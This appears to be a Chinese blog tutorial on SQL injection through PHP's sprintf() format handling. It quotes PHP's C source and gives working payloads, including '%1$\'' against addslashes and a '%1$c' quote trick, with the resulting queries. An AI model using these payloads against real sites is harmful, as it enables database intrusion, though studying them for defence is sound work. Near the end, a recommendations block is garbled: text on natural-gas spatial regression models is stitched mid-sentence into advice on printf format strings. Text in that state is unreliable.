php sprintf 漏洞,解析php sprintf函数漏洞

php sprintf函数漏洞

0x01 了解sprintf()函数

1,sprintf(),函数是php中的函数

2,作用是将格式化字符串写入变量中

3,函数形式为sprintf(format,arg1,arg2,arg++)

参数说明:

参数

描述

format

必需。规定字符串以及如何格式化其中的变量。

可能的格式值:

%% - 返回一个百分号 %

%b - 二进制数

%c - ASCII 值对应的字符

%d - 包含正负号的十进制数(负数、0、正数)

%e - 使用小写的科学计数法(例如 1.2e+2)

%E - 使用大写的科学计数法(例如 1.2E+2)

%u - 不包含正负号的十进制数(大于等于 0)

%f - 浮点数(本地设置)

%F - 浮点数(非本地设置)

%g - 较短的 %e 和 %f

%G - 较短的 %E 和 %f

%o - 八进制数

%s - 字符串

%x - 十六进制数(小写字母)

%X - 十六进制数(大写字母)

附加的格式值。必需放置在 % 和字母之间(例如 %.2f):

+ (在数字前面加上 + 或 - 来定义数字的正负性。默认情况下,只有负数才做标记,正数不做标记)

' (规定使用什么作为填充,默认是空格。它必须与宽度指定器一起使用。例如:%'x20s(使用 "x" 作为填充))

- (左调整变量值)

[0-9] (规定变量值的最小宽度)

.[0-9] (规定小数位数或最大字符串长度)

注释:如果使用多个上述的格式值,它们必须按照以上顺序使用。

arg1

必需。规定插到 format 字符串中第一个 % 符号处的参数。

arg2

可选。规定插到 format 字符串中第二个 % 符号处的参数。

arg++

可选。规定插到 format 字符串中第三、四等 % 符号处的参数。

**若%符号多于arg参数,则需要占位符,占位符格式为“%number\$” 其中number表示该项与第几个arg匹配,如若与第一个匹配     则占位符为“%1\$”

以下是一些例子帮助更好的理解sprintf()函数:

#1.不带占位符的:

$num1=9999;

$char=96;

echo sprintf("%%b=%b",$num1)."";

echo sprintf("%%c=%c",$char)."";

echo sprintf("%%s=%s",$num1)."";

echo sprintf("%%x=%x",$num1)."";

?>

输出结果:

%b=10011100001111

%c=`

%s=9999

%x=270f

#2.带有占位符:

$num=123;

sprintf("the number is %1\$d",&num);

?>

结果:

the number is 123

0x02 sprintf()的注入原理

sprintf()的底层实现方法

switch (format[inpos]) {

case 's':

{

zend_string * t;

zend_string * str = zval_get_tmp_string(tmp, &t);

php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);

zend_tmp_string_release(t);

break;

}

case 'd':

php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);

break;

case 'u':

php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);

break;

case 'g':

case 'G':

case 'e':

case 'E':

case 'f':

case 'F':

php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);

break;

case 'c':

php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));

break;

case 'o':

php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);

break;

case 'x':

php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);

break;

case 'X':

php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);

break;

case 'b':

php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);

break;

case '%':

php_sprintf_appendchar( & result, &outpos, '%');

break;

default:

break;

}

通过底层实现代码可以发现,sprintf()方法就是对15种类型做了匹配,15种类型以外的就直接break了没有做任何处理,所以就会导致一个问题:

如果我们输入"%\"或者"%1$\",他会把反斜杠当做格式化字符的类型,然而找不到匹配的项那么"%\","%1$\"就因为没有经过任何处理而被替换为空。

因此sprintf注入的原理就是

我们用一个15种类型之外的"\" 来代替格式字符类型让函数替换为空,则“%1$\'”后面的单引号就能闭合前面的单引号,以下是一些例子帮助我们更好的理解

#1.不带占位符的

$sql="select * from user where username='%\' and 1=1 #';";

$user='admin';

echo sprintf($sql,$user);

?>

运行结果:

select * from user where username='' and 1=1 #';

注意:username=''这里是两个单引号不是双引号

#2.带有占位符:

//addslashes()函数:在预定义前面加反斜杠,预定义符有单引号('),双引号("),反斜杠(\),NULL

$input = addslashes ("%1$' and 1=1#" );

$b = sprintf ("AND b='%s'", $input );

$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );

//对$input与$b进行了拼接

//$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );

//很明显,这个句子里面的\是由addsashes为了转义单引号而加上的,使用%s与%1$\类匹配admin,那么admin只会出现在%s里,%1$\为空

echo $sql ;

?>

运行结果:

SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

#3.%c的利用

$input1='%1$c) or 1=1 /*';

$input2=39;

$sql="select * from foo where bar in('$input1') and baz=%s";

$sql=sprintf($sql,$input2);

echo $sql;

?>

运行结果:

select * from foo where bar in('') or 1=1 /*') and baz=39

0x04总结

漏洞利用条件

1、sql语句进行了字符拼接

2、拼接语句和原sql语句都用了vsprintf/sprintf 函数来格式化字符串

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
间回归模型,分析天然气能源的空间分布特征,并比较三种模型的精PHP中的sprintf函数可以用于格式化字符串,但是如果不正确使用它,可能会导致漏洞漏洞度和适用性。研究结果表明,MGWR模型相比于GWR和OLS模型,具有更的原因在于sprintf函数的第一个参数是一个格式化字符串,其中包含了格式化指示符。如果攻高的精度和更广泛的适用性,可以更好地解释天然气能源分布的空间击者能够控制这个格式化字符串,就可以通过插入恶意格式化指示符来导致漏洞异质性。 5.2 研究展望 本研究对天然气能源分布的空间分析还。 例如,如果使用了以下代码: ``` $name = $_GET['name']; printf("Hello %s", $name); ``` 存在一定的不足之处,未来可以从以下几个方面进行改进: (1)增加数据来源如果攻击者将`$name`设置为`%x`,那么就会导致sprintf函数以十六进制:本研究所用的数据来源较为有限,未来可以借助更多的数据来源,提高对天格式输出一个值,而这个值通常是从栈中读取的随机数据,这可能会泄露敏感然气能源分布的理解和预测能力。 (2)改进空间回归模型:本研信息或导致系统崩溃。 为了避免这种漏洞的发生,需要在使用sprintf函数时遵循以下究所用的MGWR、GWR、OLS三种模型均有其局限性,未来可以探索更多几个最佳实践: 1. 不要从不受信任的来源(如用户输入)中获取格式化字符串。 的空间回归模型,以便更好地解释天然气能源分布的空间异质性。 2. 对于每个参数都要指定正确的类型,例如使用`%d`指示符来格式化整数(3)加强模型解释:本研究对MGWR模型进行了深入解释,未来可以对。 3. 对于每个参数都要进行有效的边界检查,确保不会导致缓冲区溢出GWR和OLS模型进行更为详细的解释,以提高对其精度和适用性的理解等问题。 4. 在输出敏感信息之前,对格式化字符串进行适当的过滤和转义。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值